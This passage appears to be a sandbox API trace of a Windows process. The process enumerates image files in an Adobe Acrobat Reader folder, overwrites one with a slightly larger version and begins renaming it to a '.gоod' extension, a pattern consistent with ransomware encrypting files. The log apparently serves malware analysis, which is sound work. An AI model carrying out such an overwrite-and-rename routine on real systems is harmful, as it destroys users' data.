SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ece70) returned 1 [0233.746] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ecf70) returned 1 [0233.746] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\images\\themes", nBufferLength=0x105, lpBuffer=0x202eca10, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\images\\themes", lpFilePart=0x0) returned 0x78 [0233.746] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\images\\themes\\*", lpFindFileData=0x202ecc90 | out: lpFindFileData=0x202ecc90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0010838, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0010838, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0010838, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134ac20 [0233.746] FindNextFileW (in: hFindFile=0x134ac20, lpFindFileData=0x202ecc50 | out: lpFindFileData=0x202ecc50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0010838, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0010838, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0010838, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0233.746] FindNextFileW (in: hFindFile=0x134ac20, lpFindFileData=0x202ecc50 | out: lpFindFileData=0x202ecc50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0010838, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0010838, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0010838, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="dark", cAlternateFileName="")) returned 1 [0233.747] FindNextFileW (in: hFindFile=0x134ac20, lpFindFileData=0x202ecc50 | out: lpFindFileData=0x202ecc50*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0233.747] FindClose (in: hFindFile=0x134ac20 | out: hFindFile=0x134ac20) returned 1 [0233.747] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202eceb0) returned 1 [0233.747] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ece70) returned 1 [0233.747] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ec540) returned 1 [0233.747] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\images\\themes\\dark", nBufferLength=0x105, lpBuffer=0x202ebfe0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\images\\themes\\dark", lpFilePart=0x0) returned 0x7d [0233.747] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\images\\themes\\dark\\*", lpFindFileData=0x202ec260 | out: lpFindFileData=0x202ec260*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0010838, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0010838, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0141af0, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134a740 [0234.201] FindNextFileW (in: hFindFile=0x134a740, lpFindFileData=0x202ec220 | out: lpFindFileData=0x202ec220*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0010838, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0010838, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0141af0, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0234.201] FindNextFileW (in: hFindFile=0x134a740, lpFindFileData=0x202ec220 | out: lpFindFileData=0x202ec220*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf011b8fe, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf011b8fe, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf011b8fe, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x2bf, dwReserved0=0x0, dwReserved1=0x0, cFileName="bg_patterns_header.png", cAlternateFileName="BG_PAT~2.PNG")) returned 1 [0234.201] FindNextFileW (in: hFindFile=0x134a740, lpFindFileData=0x202ec220 | out: lpFindFileData=0x202ec220*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0010838, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0010838, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0010838, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0xb3, dwReserved0=0x0, dwReserved1=0x0, cFileName="bg_pattern_RHP.png", cAlternateFileName="BG_PAT~1.PNG")) returned 1 [0234.201] FindNextFileW (in: hFindFile=0x134a740, lpFindFileData=0x202ec220 | out: lpFindFileData=0x202ec220*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0010838, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0010838, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf011b8fe, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x6004, dwReserved0=0x0, dwReserved1=0x0, cFileName="file_icons.png", cAlternateFileName="FILE_I~1.PNG")) returned 1 [0234.201] FindNextFileW (in: hFindFile=0x134a740, lpFindFileData=0x202ec220 | out: lpFindFileData=0x202ec220*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0010838, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0010838, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0010838, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x1f7f, dwReserved0=0x0, dwReserved1=0x0, cFileName="icons.png", cAlternateFileName="")) returned 1 [0234.201] FindNextFileW (in: hFindFile=0x134a740, lpFindFileData=0x202ec220 | out: lpFindFileData=0x202ec220*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0141af0, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0141af0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0141af0, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x1fd7, dwReserved0=0x0, dwReserved1=0x0, cFileName="icons_ie8.gif", cAlternateFileName="ICONS_~1.GIF")) returned 1 [0234.202] FindNextFileW (in: hFindFile=0x134a740, lpFindFileData=0x202ec220 | out: lpFindFileData=0x202ec220*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf011b8fe, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf011b8fe, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf011b8fe, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x3c6a, dwReserved0=0x0, dwReserved1=0x0, cFileName="icons_retina.png", cAlternateFileName="ICONS_~1.PNG")) returned 1 [0234.202] FindNextFileW (in: hFindFile=0x134a740, lpFindFileData=0x202ec220 | out: lpFindFileData=0x202ec220*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0141af0, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0141af0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0141af0, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x225a, dwReserved0=0x0, dwReserved1=0x0, cFileName="illustrations.png", cAlternateFileName="ILLUST~2.PNG")) returned 1 [0234.202] FindNextFileW (in: hFindFile=0x134a740, lpFindFileData=0x202ec220 | out: lpFindFileData=0x202ec220*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0010838, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0010838, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0010838, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x4d6b, dwReserved0=0x0, dwReserved1=0x0, cFileName="illustrations_retina.png", cAlternateFileName="ILLUST~1.PNG")) returned 1 [0234.202] FindNextFileW (in: hFindFile=0x134a740, lpFindFileData=0x202ec220 | out: lpFindFileData=0x202ec220*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf011b8fe, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf011b8fe, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf011b8fe, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x20bc, dwReserved0=0x0, dwReserved1=0x0, cFileName="new_icons.png", cAlternateFileName="NEW_IC~2.PNG")) returned 1 [0234.202] FindNextFileW (in: hFindFile=0x134a740, lpFindFileData=0x202ec220 | out: lpFindFileData=0x202ec220*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf011b8fe, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf011b8fe, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf011b8fe, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x456c, dwReserved0=0x0, dwReserved1=0x0, cFileName="new_icons_retina.png", cAlternateFileName="NEW_IC~1.PNG")) returned 1 [0234.202] FindNextFileW (in: hFindFile=0x134a740, lpFindFileData=0x202ec220 | out: lpFindFileData=0x202ec220*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0234.202] FindClose (in: hFindFile=0x134a740 | out: hFindFile=0x134a740) returned 1 [0234.203] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ec480) returned 1 [0234.203] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ec440) returned 1 [0234.203] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ec540) returned 1 [0234.203] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\images\\themes\\dark", nBufferLength=0x105, lpBuffer=0x202ebfe0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\images\\themes\\dark", lpFilePart=0x0) returned 0x7d [0234.203] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\images\\themes\\dark\\*", lpFindFileData=0x202ec260 | out: lpFindFileData=0x202ec260*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0010838, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0010838, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0141af0, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134b580 [0234.204] FindNextFileW (in: hFindFile=0x134b580, lpFindFileData=0x202ec220 | out: lpFindFileData=0x202ec220*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0010838, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0010838, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0141af0, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0234.204] FindNextFileW (in: hFindFile=0x134b580, lpFindFileData=0x202ec220 | out: lpFindFileData=0x202ec220*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf011b8fe, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf011b8fe, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf011b8fe, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x2bf, dwReserved0=0x0, dwReserved1=0x0, cFileName="bg_patterns_header.png", cAlternateFileName="BG_PAT~2.PNG")) returned 1 [0234.204] FindNextFileW (in: hFindFile=0x134b580, lpFindFileData=0x202ec220 | out: lpFindFileData=0x202ec220*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0010838, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0010838, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0010838, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0xb3, dwReserved0=0x0, dwReserved1=0x0, cFileName="bg_pattern_RHP.png", cAlternateFileName="BG_PAT~1.PNG")) returned 1 [0234.205] FindNextFileW (in: hFindFile=0x134b580, lpFindFileData=0x202ec220 | out: lpFindFileData=0x202ec220*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0010838, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0010838, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf011b8fe, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x6004, dwReserved0=0x0, dwReserved1=0x0, cFileName="file_icons.png", cAlternateFileName="FILE_I~1.PNG")) returned 1 [0234.205] FindNextFileW (in: hFindFile=0x134b580, lpFindFileData=0x202ec220 | out: lpFindFileData=0x202ec220*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0010838, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0010838, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0010838, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x1f7f, dwReserved0=0x0, dwReserved1=0x0, cFileName="icons.png", cAlternateFileName="")) returned 1 [0234.205] FindNextFileW (in: hFindFile=0x134b580, lpFindFileData=0x202ec220 | out: lpFindFileData=0x202ec220*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0141af0, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0141af0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0141af0, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x1fd7, dwReserved0=0x0, dwReserved1=0x0, cFileName="icons_ie8.gif", cAlternateFileName="ICONS_~1.GIF")) returned 1 [0234.205] FindNextFileW (in: hFindFile=0x134b580, lpFindFileData=0x202ec220 | out: lpFindFileData=0x202ec220*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf011b8fe, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf011b8fe, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf011b8fe, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x3c6a, dwReserved0=0x0, dwReserved1=0x0, cFileName="icons_retina.png", cAlternateFileName="ICONS_~1.PNG")) returned 1 [0234.205] FindNextFileW (in: hFindFile=0x134b580, lpFindFileData=0x202ec220 | out: lpFindFileData=0x202ec220*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0141af0, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0141af0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0141af0, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x225a, dwReserved0=0x0, dwReserved1=0x0, cFileName="illustrations.png", cAlternateFileName="ILLUST~2.PNG")) returned 1 [0234.205] FindNextFileW (in: hFindFile=0x134b580, lpFindFileData=0x202ec220 | out: lpFindFileData=0x202ec220*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0010838, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0010838, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0010838, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x4d6b, dwReserved0=0x0, dwReserved1=0x0, cFileName="illustrations_retina.png", cAlternateFileName="ILLUST~1.PNG")) returned 1 [0234.206] FindNextFileW (in: hFindFile=0x134b580, lpFindFileData=0x202ec220 | out: lpFindFileData=0x202ec220*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf011b8fe, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf011b8fe, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf011b8fe, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x20bc, dwReserved0=0x0, dwReserved1=0x0, cFileName="new_icons.png", cAlternateFileName="NEW_IC~2.PNG")) returned 1 [0234.206] FindNextFileW (in: hFindFile=0x134b580, lpFindFileData=0x202ec220 | out: lpFindFileData=0x202ec220*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf011b8fe, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf011b8fe, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf011b8fe, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x456c, dwReserved0=0x0, dwReserved1=0x0, cFileName="new_icons_retina.png", cAlternateFileName="NEW_IC~1.PNG")) returned 1 [0234.206] FindNextFileW (in: hFindFile=0x134b580, lpFindFileData=0x202ec220 | out: lpFindFileData=0x202ec220*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf011b8fe, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf011b8fe, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf011b8fe, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x456c, dwReserved0=0x0, dwReserved1=0x0, cFileName="new_icons_retina.png", cAlternateFileName="NEW_IC~1.PNG")) returned 0 [0234.206] FindClose (in: hFindFile=0x134b580 | out: hFindFile=0x134b580) returned 1 [0234.207] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ec480) returned 1 [0234.207] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ec440) returned 1 [0234.207] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\images\\themes\\dark\\bg_patterns_header.png", nBufferLength=0x105, lpBuffer=0x202ebe20, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\images\\themes\\dark\\bg_patterns_header.png", lpFilePart=0x0) returned 0x94 [0234.207] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ec2f0) returned 1 [0234.207] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\images\\themes\\dark\\bg_patterns_header.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer\\images\\themes\\dark\\bg_patterns_header.png"), fInfoLevelId=0x0, lpFileInformation=0x39c6be8 | out: lpFileInformation=0x39c6be8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf011b8fe, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf011b8fe, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf011b8fe, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x2bf)) returned 1 [0234.208] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ec2b0) returned 1 [0234.208] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\images\\themes\\dark\\bg_patterns_header.png", nBufferLength=0x105, lpBuffer=0x202ebc80, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\images\\themes\\dark\\bg_patterns_header.png", lpFilePart=0x0) returned 0x94 [0234.209] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ec1a0) returned 1 [0234.209] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\images\\themes\\dark\\bg_patterns_header.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer\\images\\themes\\dark\\bg_patterns_header.png"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x834 [0234.209] GetFileType (hFile=0x834) returned 0x1 [0234.209] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ec110) returned 1 [0234.209] GetFileType (hFile=0x834) returned 0x1 [0234.209] GetFileSize (in: hFile=0x834, lpFileSizeHigh=0x202ec348 | out: lpFileSizeHigh=0x202ec348*=0x0) returned 0x2bf [0234.209] ReadFile (in: hFile=0x834, lpBuffer=0x39c72b0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x202ec278, lpOverlapped=0x0 | out: lpBuffer=0x39c72b0*, lpNumberOfBytesRead=0x202ec278*=0x2bf, lpOverlapped=0x0) returned 1 [0234.211] CloseHandle (hObject=0x834) returned 1 [0234.239] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\images\\themes\\dark\\bg_patterns_header.png", nBufferLength=0x105, lpBuffer=0x202ebc80, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\images\\themes\\dark\\bg_patterns_header.png", lpFilePart=0x0) returned 0x94 [0234.239] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ec1a0) returned 1 [0234.239] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\images\\themes\\dark\\bg_patterns_header.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer\\images\\themes\\dark\\bg_patterns_header.png"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x834 [0234.241] GetFileType (hFile=0x834) returned 0x1 [0234.241] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ec110) returned 1 [0234.241] GetFileType (hFile=0x834) returned 0x1 [0234.241] WriteFile (in: hFile=0x834, lpBuffer=0x3a3f588*, nNumberOfBytesToWrite=0x2c0, lpNumberOfBytesWritten=0x202ec188, lpOverlapped=0x0 | out: lpBuffer=0x3a3f588*, lpNumberOfBytesWritten=0x202ec188*=0x2c0, lpOverlapped=0x0) returned 1 [0234.242] CloseHandle (hObject=0x834) returned 1 [0234.242] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\images\\themes\\dark\\bg_patterns_header.png", nBufferLength=0x105, lpBuffer=0x202ebe20, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\images\\themes\\dark\\bg_patterns_header.png", lpFilePart=0x0) returned 0x94 [0234.242] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\images\\themes\\dark\\bg_patterns_header.png.gоod", nBufferLength=0x105, lpBuffer=0x202ebe20, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\images\\themes\\dark\\bg_patterns_header.png.gоod", lpFilePart=0x0) returned 0x99 [0234.242] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ec2b0) returned 1 [0234.242] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\images\\themes\\dark\\bg_patterns_header.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer\\images\\themes\\dark\\bg_patterns_header.png"), fInfoLevelId=0x0, lpFileInformation=0x202ec390 | out: lpFileInformation=0x202ec390*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf011b8fe, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf011b8fe, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x87d4ab88, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x2c0)) returned 1 [0234.242] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ec270) returned 1 [0234.242] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader 